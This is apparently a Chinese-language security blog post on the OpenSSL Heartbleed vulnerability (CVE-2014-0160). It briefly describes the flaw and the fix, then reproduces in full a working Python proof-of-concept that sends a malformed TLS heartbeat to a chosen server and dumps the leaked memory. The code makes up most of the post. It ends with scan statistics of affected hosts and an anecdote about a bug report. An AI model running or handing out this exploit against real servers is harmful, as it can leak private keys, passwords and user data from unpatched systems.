OpenSSL "heartbleed" 安全漏洞

在 heartbleed 的官网上有关于 CVE-2014-0160 漏洞的详细信息，这是关于 OpenSSL 的信息泄漏漏洞导致的安全问题。改 Heartbleed bug 可以让互联网的任何人读取系统保护内存，这种妥协密钥用于识别服务提供者和加密流量,用户名和密码的和实际的内容。该漏洞允许攻击者窃听通讯，并通过模拟服务提供者和用户来直接从服务提供者盗取数据。

目前该问题的解决可以通过升级到 OpenSSL 1.0.1g 版本。

Exploit:

openssl.py

  1 #!/usr/bin/python

  2  

  3 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])

  4 # The author disclaims copyright to this source code.

  5  

  6 import sys

  7 import struct

  8 import socket

  9 import time

 10 import select

 11 import re

 12 from optparse import OptionParser

 13  

 14 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

 15 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

 16  

 17 def h2bin(x):

 18     return x.replace(' ', '').replace('\n', '').decode('hex')

 19  

 20 hello = h2bin('''

 21 16 03 02 00  dc 01 00 00 d8 03 02 53

 22 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

 23 bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

 24 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

 25 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

 26 c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

 27 c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

 28 c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

 29 c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

 30 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

 31 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

 32 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

 33 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

 34 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

 35 00 0f 00 01 01                                  

 36 ''')

 37  

 38 hb = h2bin(''' 

 39 18 03 02 00 03

 40 01 40 00

 41 ''')

 42  

 43 def hexdump(s):

 44     for b in xrange(0, len(s), 16):

 45         lin = [c for c in s[b : b + 16]]

 46         hxdat = ' '.join('%02X' % ord(c) for c in lin)

 47         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

 48         print '  %04x: %-48s %s' % (b, hxdat, pdat)

 49     print

 50  

 51 def recvall(s, length, timeout=5):

 52     endtime = time.time() + timeout

 53     rdata = ''

 54     remain = length

 55     while remain > 0:

 56         rtime = endtime - time.time() 

 57         if rtime < 0:

 58             return None

 59         r, w, e = select.select([s], [], [], 5)

 60         if s in r:

 61             data = s.recv(remain)

 62             # EOF?

 63             if not data:

 64                 return None

 65             rdata += data

 66             remain -= len(data)

 67     return rdata

 68          

 69  

 70 def recvmsg(s):

 71     hdr = recvall(s, 5)

 72     if hdr is None:

 73         print 'Unexpected EOF receiving record header - server closed connection'

 74         return None, None, None

 75     typ, ver, ln = struct.unpack('>BHH', hdr)

 76     pay = recvall(s, ln, 10)

 77     if pay is None:

 78         print 'Unexpected EOF receiving record payload - server closed connection'

 79         return None, None, None

 80     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

 81     return typ, ver, pay

 82  

 83 def hit_hb(s):

 84     s.send(hb)

 85     while True:

 86         typ, ver, pay = recvmsg(s)

 87         if typ is None:

 88             print 'No heartbeat response received, server likely not vulnerable'

 89             return False

 90  

 91         if typ == 24:

 92             print 'Received heartbeat response:'

 93             hexdump(pay)

 94             if len(pay) > 3:

 95                 print 'WARNING: server returned more data than it should - server is vulnerable!'

 96             else:

 97                 print 'Server processed malformed heartbeat, but did not return any extra data.'

 98             return True

 99  

100         if typ == 21:

101             print 'Received alert:'

102             hexdump(pay)

103             print 'Server returned error, likely not vulnerable'

104             return False

105  

106 def main():

107     opts, args = options.parse_args()

108     if len(args) < 1:

109         options.print_help()

110         return

111  

112     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

113     print 'Connecting...'

114     sys.stdout.flush()

115     s.connect((args[0], opts.port))

116     print 'Sending Client Hello...'

117     sys.stdout.flush()

118     s.send(hello)

119     print 'Waiting for Server Hello...'

120     sys.stdout.flush()

121     while True:

122         typ, ver, pay = recvmsg(s)

123         if typ == None:

124             print 'Server closed connection without sending Server Hello.'

125             return

126         # Look for server hello done message.

127         if typ == 22 and ord(pay[0]) == 0x0E:

128             break

129  

130     print 'Sending heartbeat request...'

131     sys.stdout.flush()

132     s.send(hb)

133     hit_hb(s)

134  

135 if __name__ == '__main__':

136     main()

 来自ZoomEye的统计，全国443端口：1601250，有33303个受本次OpenSSL漏洞影响！

 

铁道部12306系统的漏洞被猪猪侠抢先了。结果我的被驳回了。详情见：

http://wooyun.org/bugs/wooyun-2014-055939